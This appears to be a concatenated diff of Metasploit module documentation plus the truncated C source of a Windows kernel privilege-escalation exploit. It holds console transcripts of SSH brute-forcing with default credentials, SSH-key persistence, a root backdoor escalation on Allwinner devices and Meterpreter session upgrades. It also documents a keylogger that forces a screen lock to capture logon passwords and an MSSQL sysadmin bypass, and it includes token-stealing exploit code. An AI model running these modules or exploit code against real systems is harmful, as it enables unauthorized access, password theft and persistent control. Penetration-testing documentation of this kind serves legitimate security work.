msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/
|
||||
key_path => /root/.msf4/loot/
|
||||
msf auxiliary(ssh_login_pubkey) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login_pubkey) > run
|
||||
|
||||
[*] 192.168.2.143:22 SSH - Testing Cleartext Keys
|
||||
[*] SSH - Testing 2 keys from /root/.msf4/loot
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAx5LLnAOPzc5KSI/Zd71bdHlexQrIpuASjUIGnJjlJVB9Sfyz
|
||||
...snip...
|
||||
vtOaL6/NsfxFDDrCBX72X5tv3rTA4MNzOFTYbCM80Ln6E2TDWgPv
|
||||
-----END RSA PRIVATE KEY-----
|
||||
' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 2 opened (192.168.2.229:35751 -> 192.168.2.143:22) at 2016-06-19 20:31:23 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
### Fedora 20 (user level)
|
||||
|
||||
Get Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username user
|
||||
username => user
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.143
|
||||
rhosts => 192.168.2.143
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'user:password' 'uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:37727 -> 192.168.2.143:22) at 2016-06-19 20:33:45 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set username user
|
||||
username => user
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Finding .ssh directories
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619203401_default_192.168.2.143_id_rsa_010117.txt
|
||||
[*] Creating /home/user/.ssh/authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1452 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Post module execution completed
|
||||
@@ -0,0 +1,93 @@
|
||||
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
|
||||
Vulnerable OS: all OS images available for Orange Pis,
|
||||
any for FriendlyARM's NanoPi M1,
|
||||
SinoVoip's M2+ and M3,
|
||||
Cuebietech's Cubietruck +
|
||||
Linksprite's pcDuino8 Uno
|
||||
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
|
||||
|
||||
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
|
||||
|
||||
## Usage
|
||||
|
||||
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
|
||||
|
||||
- `use auxiliary/scanner/ssh/ssh_login`
|
||||
|
||||
```
|
||||
msf auxiliary(ssh_login) > set username orangepi
|
||||
username => orangepi
|
||||
msf auxiliary(ssh_login) > set password orangepi
|
||||
password => orangepi
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
|
||||
rhosts => 192.168.2.21
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.2.21:22 SSH - Starting bruteforce
|
||||
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- `use post/multi/escalate/allwinner_backdoor`
|
||||
|
||||
```
|
||||
msf post(allwinner_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf post(allwinner_backdoor) > set session 1
|
||||
session => 1
|
||||
msf post(allwinner_backdoor) > run
|
||||
```
|
||||
|
||||
## Successful exploitation:
|
||||
|
||||
```
|
||||
[+] Backdoor found, exploiting.
|
||||
[+] Privilege Escalation Successful
|
||||
[*] Post module execution completed
|
||||
msf post(allwinner_backdoor) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
2013564244
|
||||
uHvwyYtCTXENEYdrCoKdgVxTpKlbnqsW
|
||||
true
|
||||
RUVRnPJFFgVpuqEiYXdtXpwdDZxVwZPS
|
||||
TitlDmvnSvINczARsMAKdajpRoXEohXO
|
||||
0
|
||||
RtBPRSiAsiGoFatKQVukpjIjGBpJdXqq
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),27(sudo),29(audio),1001(orangepi)
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
|
||||
## Graceful exit on non-vulnerable devices:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username pi
|
||||
username => pi
|
||||
msf auxiliary(ssh_login) > set password raspberry
|
||||
password => raspberry
|
||||
msf auxiliary(ssh_login) > set rhosts basementpi
|
||||
rhosts => basementpi
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.2.80:22 SSH - Starting bruteforce
|
||||
[+] 192.168.2.80:22 SSH - Success: 'pi:raspberry' 'uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),106(netdev),996(gpio),997(i2c),998(spi),999(input) Linux basementpi 4.1.19-v7+ #858 SMP Tue Mar 15 15:56:00 GMT 2016 armv7l GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:36438 -> 192.168.2.80:22) at 2016-05-17 22:19:57 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/multi/escalate/allwinner_backdoor
|
||||
msf post(allwinner_backdoor) > set verbose true
|
||||
verbose => true
|
||||
msf post(allwinner_backdoor) > set session 1
|
||||
session => 1
|
||||
msf post(allwinner_backdoor) > run
|
||||
|
||||
[-] Backdoor /proc/sunxi_debug/sunxi_debug not found.
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -1,5 +1,5 @@
|
||||
shell_to_meterpreter allows you to upgrade a shell session to Meterpreter. It can be launched as
|
||||
a post module, or from the sessions command. By default, this module will use a reverse
|
||||
`shell_to_meterpreter` allows you to upgrade a shell session to Meterpreter. It can be launched as
|
||||
a post module, or from the `sessions` command. By default, this module will use a reverse
|
||||
Meterpreter.
|
||||
|
||||
## Important Options
|
||||
@@ -29,7 +29,7 @@ use this.
|
||||
|
||||
**Using sessions -u**
|
||||
|
||||
```sessions -u``` is the same as running the post module against a specific session. However, this
|
||||
`sessions -u` is the same as running the post module against a specific session. However, this
|
||||
is limited to using the default reverse Meterpreter payload, so you will not be able to use it
|
||||
via a pivot.
|
||||
|
||||
@@ -46,7 +46,7 @@ Active sessions
|
||||
-- ---- ----------- ----------
|
||||
1 shell windows 192.168.146.1:4444 -> 192.168.146.128:1204 (192.168.146.128)
|
||||
|
||||
msf >
|
||||
msf >
|
||||
```
|
||||
|
||||
In this demonstration, session 1 is a shell, so we upgrade that:
|
||||
@@ -125,4 +125,4 @@ msf post(shell_to_meterpreter) > run
|
||||
...
|
||||
[*] Command stager progress: 100.00% (102108/102108 bytes)
|
||||
[*] Meterpreter session 3 opened (192.168.146.1-192.168.146.128:4433 -> 192.168.1.102:1056) at 2016-04-28 22:50:56 -0500
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
## Overview
|
||||
|
||||
This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks.
|
||||
|
||||
## Requirements
|
||||
- Windows Meterpreter Session
|
||||
|
||||
## Module Options
|
||||
- **CAPTURE_TYPE** - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer.
|
||||
|
||||
- **INTERVAL** - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds.
|
||||
|
||||
- **LOCKSCREEN** - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE.
|
||||
|
||||
- **MIGRATE** - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE.
|
||||
|
||||
- **PID** - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine.
|
||||
|
||||
- **SESSION** - The session to run the module on.
|
||||
|
||||
### Advanced Options
|
||||
- **ShowKeystrokes** - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE.
|
||||
- **TimeOutAction** - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait.
|
||||
|
||||
## Usage
|
||||
The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module.
|
||||
|
||||
### Capture Types
|
||||
- **Explorer.exe** - __Session must be in explorer.exe__ - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. **NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe.** It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained.
|
||||
|
||||
- **Winlogon.exe** - __Session must be in winlogon.exe__ - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured.
|
||||
|
||||
- **PID** - __Session must be in the specific process to be recorded.__ - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded.
|
||||
|
||||
## Running Module as a Job
|
||||
It is recommended to run this module as a job using: `exploit -j` or `run -j`. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using `jobs -k`. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically.
|
||||
|
||||
### TimeOutAction
|
||||
This module has two actions it can take if module requests time out. This occurs with packet-based payloads like `reverse_http` or `reverse_https` when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off.
|
||||
|
||||
- **WAIT** - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically.
|
||||
|
||||
- **EXIT** - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp.
|
||||
|
||||
### Running Module Stand Alone
|
||||
When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use `CTRL-C` to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete.
|
||||
|
||||
## Example Output
|
||||
```
|
||||
Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500
|
||||
|
||||
This is an ex
|
||||
ample output from keylog_recorder.
|
||||
<Return> <Return> On this line I make a typpor <Back> <Back> <Back>
|
||||
o. <Return>
|
||||
<Return> Username <Tab> Password <Return>
|
||||
<Return>
|
||||
<N1> <N9> <N2> <Decimal> <N1> <N6> <N8> <Decimal> <N1> <Decimal> <N1> <N0> <N0> <Return>
|
||||
Copy <Left> <Left> <Left> <Left> <Ctrl> <LCtrl> c <Right> <Right> <Right> <Right> <Return> <Return> <Ctrl> <LCtrl> v <Return> <Return>
|
||||
|
||||
Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500
|
||||
|
||||
|
||||
Keylog Recorder resumed at 2016-07-13 21:11:36 -0500
|
||||
|
||||
<Return> T
|
||||
his is keys logged after the computer
|
||||
was put to sleep and then woken back up.
|
||||
<Return>
|
||||
|
||||
Keylog Recorder exited at 2016-07-13 21:12:44 -0500
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
## Overview
|
||||
|
||||
This post-exploitation module enables you to add a sysadmin to local SQL Server instances, use that login to collect and gather data, and remove the login from the system.
|
||||
|
||||
Pre-2008 versions of MSSQL servers automatically granted local sysadmins admin rights. This changed in MSSQL Server 2008, but there are still ways around to get around it, thanks to this module! If you are able to get domain admin privileges, you'll be able to add yourself to the database domain group and access the server with your newly added account.
|
||||
|
||||
## Basic Workflow
|
||||
|
||||
|
||||
1. Get a Meterpreter session using a module like psexec.
|
||||
2. Create a syadmin login on the SQL server.
|
||||
3. Log into SQL Server with the newly created login.
|
||||
4. Find and collect data from the server using a module like Microsoft SQL Server Find and Sample Data.
|
||||
5. Remove the sysadmin login when you are done.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
The following options are required:
|
||||
|
||||
- **DB_PASSWORD** - This option sets the password for the new sysadmin login.
|
||||
- **DB_USERNAME** - This option sets the name for the new sysadmin login.
|
||||
- **REMOVE_LOGIN** - This option removes DB_USERNAME from the database.
|
||||
- **SESSION** - This option sets the session that you want to use to run this module against.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Here's an example of how you can use this module:
|
||||
|
||||
```
|
||||
meterpreter > use post/windows/manage/mssql_local_auth_bypass
|
||||
meterpreter > set DB_USERNAME tacocat
|
||||
meterpreter > set DB_PASSWORD 12345
|
||||
meterpreter > set SESSION 1
|
||||
meterpreter > exploit
|
||||
```
|
||||
|
||||
|
||||
+424
@@ -0,0 +1,424 @@
|
||||
/*
|
||||
requires:
|
||||
Reflective DLL Injection solution by Stephen Fewer
|
||||
https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
|
||||
compiles with:
|
||||
Visual Studio 2013
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <process.h>
|
||||
#include <time.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <winnetwk.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include "defs.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
DWORD wdServ(SIZE_T port);
|
||||
PVOID GetNativeAPI(CHAR *funcName);
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName);
|
||||
static VOID execPayload(LPVOID lpPayload);
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2);
|
||||
|
||||
_ZwOpenProcess pZwOpenProcess = NULL;
|
||||
_ZwOpenProcessToken pZwOpenProcessToken = NULL;
|
||||
_ZwDuplicateToken pZwDuplicateToken = NULL;
|
||||
_ZwSetInformationProcess pZwSetInformationProcess = NULL;
|
||||
_ZwClose pZwClose = NULL;
|
||||
_PsLookupProcessByProcessId pPsLookupProcessByProcessId;
|
||||
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
CHAR *KI = 0; // kernel image name
|
||||
PVOID *KB = 0; // kernel base address
|
||||
|
||||
BOOL DROP_THE_MIC = FALSE;
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static VOID execPayload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD wdServ(SIZE_T port) {
|
||||
TCHAR client_data[1500];
|
||||
struct sockaddr_in server;
|
||||
struct sockaddr_in client;
|
||||
SOCKET s1, s2;
|
||||
SYSTEMTIME st;
|
||||
WSADATA ws;
|
||||
int c = sizeof(struct sockaddr_in), test = 0;
|
||||
SIZE_T len = 0;
|
||||
SIZE_T recv_size = 0;
|
||||
time_t _tm;
|
||||
struct tm *curtime;
|
||||
CHAR *buf, *resp, *token, *token2, *timebuf;
|
||||
|
||||
if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = INADDR_ANY;
|
||||
server.sin_port = htons(port);
|
||||
|
||||
if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
listen(s1, 3);
|
||||
|
||||
while (1) {
|
||||
s2 = accept(s1, (struct sockaddr *)&client, &c);
|
||||
|
||||
if (s2 == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get stuff from client */
|
||||
|
||||
if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
token = strtok(client_data, " \r\n");
|
||||
|
||||
if (token != NULL) {
|
||||
if (strncmp(token, "OPTIONS", 7) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
|
||||
len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
|
||||
|
||||
memset(client_data, 0, 1500);
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
else if (strncmp(token, "PROPFIND", 8) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
resp = (char *)calloc(3500, 1);
|
||||
timebuf = (char *)calloc(256, 1);
|
||||
|
||||
token2 = strtok(NULL, " ");
|
||||
GetSystemTime(&st);
|
||||
_tm = time(NULL);
|
||||
curtime = localtime(&_tm);
|
||||
|
||||
sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
|
||||
len += sprintf(buf + len, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");
|
||||
len += sprintf(buf + len, "<D:multistatus xmlns:D=\"DAV:\">\r\n");
|
||||
len += sprintf(buf + len, "<D:response>\r\n");
|
||||
len += sprintf(buf + len, "\t<D:href>%s</D:href>\r\n", token2);
|
||||
len += sprintf(buf + len, "\t<D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:creationdate>%sZ</D:creationdate>\r\n", timebuf);
|
||||
len += sprintf(buf + len, "\t\t<D:getcontentlength>0</D:getcontentlength>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getcontenttype></D:getcontenttype>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getetag></D:getetag>\r\n");
|
||||
memset(timebuf, 0, sizeof(timebuf));
|
||||
sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT
|
||||
len += sprintf(buf + len, "\t\t<D:getlastmodified>%s</D:getlastmodified>\r\n", timebuf);
|
||||
|
||||
if (strstr(token2, "file") != NULL) {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype></D:resourcetype>\r\n");
|
||||
}
|
||||
else {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype><D:collection></D:collection></D:resourcetype>\r\n");
|
||||
}
|
||||
len += sprintf(buf + len, "\t\t<D:supportedlock></D:supportedlock>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:ishidden>0</D:ishidden>\r\n");
|
||||
len += sprintf(buf + len, "\t\t</D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:status>HTTP/1.1 200 OK</D:status>\r\n");
|
||||
len += sprintf(buf + len, "\t</D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "</D:response>\r\n");
|
||||
len += sprintf(buf + len, "</D:multistatus>\r\n");
|
||||
|
||||
len = 0;
|
||||
len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf));
|
||||
len += sprintf(resp + len, buf);
|
||||
send(s2, resp, strlen(resp), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
free(resp);
|
||||
free(timebuf);
|
||||
len = 0;
|
||||
}
|
||||
else {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
/* request not matched */
|
||||
len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n");
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* done at this point */
|
||||
closesocket(s2);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID GetNativeAPI(CHAR *funcName) {
|
||||
return GetProcAddress(GetModuleHandle("ntdll"), funcName);
|
||||
}
|
||||
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) {
|
||||
PVOID addr = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
|
||||
hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hModule) {
|
||||
addr = GetProcAddress(hModule, funcName);
|
||||
if (addr) {
|
||||
addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase);
|
||||
}
|
||||
}
|
||||
// printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
the idea for this came from a blog post by j00ru
|
||||
*/
|
||||
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2)
|
||||
{
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
|
||||
CLIENT_ID ClientId = { (HANDLE)4, NULL };
|
||||
PROCESS_ACCESS_TOKEN AccessToken;
|
||||
NTSTATUS NtStatus;
|
||||
PDWORD CurrentProcess = NULL;
|
||||
PDWORD off = NULL;
|
||||
DWORD kFlags2Offset = 0x26c;
|
||||
DWORD kFlags2, origFlags2, currPid = 0;
|
||||
PEPROCESS myEP, systemEP;
|
||||
|
||||
/* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */
|
||||
|
||||
currPid = GetCurrentProcessId();
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP);
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP);
|
||||
kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
kFlags2 = kFlags2 ^ (1 << 15);
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwDuplicateToken(hToken,
|
||||
TOKEN_ALL_ACCESS,
|
||||
&ObjectAttributes,
|
||||
TRUE,
|
||||
TokenPrimary,
|
||||
&hNewToken
|
||||
);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
AccessToken.Token = hNewToken;
|
||||
AccessToken.Thread = NULL;
|
||||
|
||||
/* turn flag off */
|
||||
*(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2;
|
||||
NtStatus = pZwSetInformationProcess((HANDLE)-1,
|
||||
ProcessAccessToken,
|
||||
&AccessToken,
|
||||
sizeof(PROCESS_ACCESS_TOKEN));
|
||||
/* turn flag back on because reasons */
|
||||
*(PDWORD)(myEP + kFlags2Offset) = origFlags2;
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
DROP_THE_MIC = TRUE;
|
||||
err:
|
||||
if (hNewToken != NULL) {
|
||||
pZwClose(hNewToken);
|
||||
}
|
||||
if (hToken != NULL) {
|
||||
pZwClose(hToken);
|
||||
}
|
||||
if (hSystem != NULL) {
|
||||
pZwClose(hSystem);
|
||||
}
|
||||
|
||||
return 31337;
|
||||
}
|
||||
|
||||
int doWork(LPVOID lpPayload)
|
||||
{
|
||||
HANDLE hThread, hFile;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
ULONG len = 0, inputLen = 24, outputLen = 4;
|
||||
DWORD allocSize = 0x4000;
|
||||
DWORD allocAddr = 0x00000001;
|
||||
NTSTATUS ntRet;
|
||||
NETRESOURCE nr, *pnr;
|
||||
_NtQuerySystemInformation pNtQuerySystemInformation;
|
||||
_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
|
||||
_NtFsControlFile pNtFsControlFile;
|
||||
SIZE_T port, remoteNameLen = 0;
|
||||
DWORD wnacRes, *inputPtr, *outputPtr;
|
||||
PBAD_DEVICE_OBJECT pBadDeviceObject;
|
||||
char remoteName[64];
|
||||
char cfName[64];
|
||||
|
||||
/* gather info and such */
|
||||
|
||||
memset(remoteName, 0, sizeof(remoteName));
|
||||
memset(cfName, 0, sizeof(cfName));
|
||||
memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));
|
||||
|
||||
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation");
|
||||
if (!pNtQuerySystemInformation) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile");
|
||||
if (!pNtFsControlFile) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory");
|
||||
if (!pNtAllocateVirtualMemory) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
if (!ntRet) {
|
||||
exit(1);
|
||||
}
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
